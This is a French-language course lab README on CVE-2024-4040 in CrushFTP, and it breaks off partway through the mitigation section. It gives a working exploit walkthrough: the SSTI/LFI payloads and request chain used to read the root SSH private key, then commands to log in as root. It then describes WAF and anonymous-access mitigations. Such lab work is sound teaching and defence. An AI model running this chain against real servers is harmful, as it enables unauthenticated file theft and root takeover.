CVE-2024-4040 Vulnérabilité — Preuve de concept SSTI / LFI dans CrushFTP

À usage éducatif et uniquement en laboratoire autorisé.
Pour le module CS443 Génie Logiciel et Sécurité des Systèmes. Le laboratoire a été réalisé dans un environnement Docker local contrôlé.

---

Résumé de la vulnérabilité

Champ	Détail
CVE	CVE-2024-4040
Logiciel concerné	CrushFTP < 10.7.1 (branche v10) / < 11.1.0 (branche v11)
Type de vulnérabilité	Injection de modèle côté serveur (SSTI) → Lecture de fichiers non authentifiée
Score CVSS	9.8 Critique
Impact	Des attaquants non authentifiés peuvent lire des fichiers arbitraires sur le système de fichiers du serveur

Le WebInterface de CrushFTP évalue des expressions de modèle dans le paramètre path de la commande zip sans les assainir. Un attaquant non authentifié peut obtenir des cookies de session anonymes, puis utiliser ces cookies pour transmettre des charges utiles de modèle ({working_dir}, <INCLUDE>…</INCLUDE>) que le serveur évalue et renvoie — permettant une lecture arbitraire de fichiers sur l'hôte.

---

Environnement de laboratoire

Composant	Valeur
Cible	http://localhost:8080
Version de base PoC CrushFTP	10.3.0 (intentionnellement vulnérable)
Environnement de test Mitigation 3	Conteneur séparé exécutant CrushFTP 11.x (branche corrigée)
Port SSH (conteneur)	2222 → 22
Identifiants administrateur	admin / admin
Environnement d'exécution du conteneur	Docker (Compose)

---

Prérequis

pip install requests rich

---

Scripts

Script	Source	Objectif
crushed.py	Stuub/CVE-2024-4040-SSTI-LFI-PoC	Exploit SSTI/LFI complet — vol de session, lecture de fichiers arbitraire
recon.py	Ce dépôt	Détection de version, sondage SSTI en direct, confirmation de vulnérabilité

---

Procédure pas à pas de la preuve de concept

Étape 1 — Démarrer le laboratoire

docker-compose up -d

Attendez environ 10 secondes que CrushFTP soit complètement initialisé avant d'exécuter les scripts. Aucune étape de reconnaissance séparée n'est nécessaire ici car crushed.py vérifie déjà si l'exploitation est possible pendant son exécution.

---

Étape 2 — Voler la clé privée SSH via LFI

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

Le script va :

1. Obtenir une session anonyme CrushAuth / currentAuth depuis /WebInterface/
2. Utiliser SSTI pour confirmer l'évaluation du modèle et divulguer le nom d'hôte du serveur
3. Utiliser {working_dir} pour résoudre le répertoire d'installation de CrushFTP
4. Utiliser <INCLUDE>/root/.ssh/id_rsa</INCLUDE> pour lire le fichier cible
5. Afficher le contenu brut du fichier sur la sortie standard

Copiez le bloc de clé privée depuis la sortie (tout depuis -----BEGIN OPENSSH PRIVATE KEY----- jusqu'à -----END OPENSSH PRIVATE KEY-----).

---

Étape 3 — Sauvegarder la clé volée

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<collez la clé depuis la sortie>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

---

Étape 4 — SSH dans le conteneur en tant que root

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

---

Étape 5 — Confirmer l'accès root

whoami
# Attendu : root

id
# Attendu : uid=0(root) gid=0(root) groups=0(root)

hostname
# Attendu : <container_id>

---

Schéma de la chaîne d'attaque

Attaquant non authentifié
        │
        ▼
GET /WebInterface/          ← obtient les cookies anonymes CrushAuth + currentAuth
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmée — modèle évalué par le serveur
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← divulgue le chemin d'installation absolu
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← lecture de fichier arbitraire
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← shell root complet

---

Problèmes connus majeurs dans crushed.py

Problème	Emplacement	Détails
Dépendance manquante	Lignes 6–9	Nécessite pip install rich avant exécution
Analyse XML fragile	Lignes 86, 140	Plante sur des réponses serveur non XML ; pas de gestion ParseError
Expression régulière du jeton trop stricte	Lignes 160–161	Le motif CrushAuth=… ; currentAuth=… peut ne pas correspondre à tous les formats sessions.obj
HTTP 404 uniquement	Ligne 53	La récupération de cookie ne réussit que sur 404 ; échoue silencieusement sur d'autres codes d'état

---

Stratégies d'atténuation

Atténuation 1 — Pare-feu applicatif Web (NGINX + ModSecurity)

Vue d'ensemble

Un WAF agit comme un proxy inverse qui inspecte le trafic HTTP/S entrant avant qu'il n'atteigne CrushFTP. En utilisant NGINX avec ModSecurity, les requêtes malveillantes exploitant CVE-2024-4040 sont bloquées en périphérie réseau sans modifier CrushFTP lui-même.

Comment cela atténue CVE-2024-4040

• Bloque les motifs de traversée de chemin (par exemple ../, %2e%2e) dans les URI et les cookies
• Empêche les requêtes d'évasion VFS non authentifiées d'atteindre CrushFTP
• Enregistre et refuse les charges utiles suspectes avant qu'elles n'atteignent l'application

Configuration Docker

Utilisez Mitigation 1/docker-compose.yaml :

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Configuration NGINX

Utilisez Mitigation 1/nginx.conf :

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Activer ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy tout le trafic vers CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Retourner 403 pour les requêtes bloquées
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Flux de trafic

Attaquant -> NGINX WAF (port 80) -> bloque les malveillants -> 403 Interdit
                             -> transmet les propres -> CrushFTP:8080

Limitations

• Ne corrige pas la cause racine – CrushFTP reste vulnérable si le WAF est contourné
• Nécessite des mises à jour des règles au fur et à mesure que les attaquants développent des techniques d'obscurcissement

Atténuation 2 — Désactiver l'accès utilisateur anonyme

Vue d'ensemble

CVE-2024-4040 est exploitable sans authentification. Dans ce laboratoire, l'accès de type anonyme est bloqué au niveau NGINX en exigeant un en-tête Authorization avant de proxyer les routes sensibles vers CrushFTP.

Comment cela atténue CVE-2024-4040

• Les scripts d'exploitation comme crushed.py reposent sur un accès non authentifié ; les requêtes sans identifiants sont rejetées avec 401
• Les requêtes vers /WebInterface/ et / sont refusées à moins que des données d'authentification ne soient présentes
• Réduit l'exposition des points d'accès vulnérables aux utilisateurs non authentifiés

Configuration Docker (Exacte depuis Mitigation 2/docker-compose.yaml)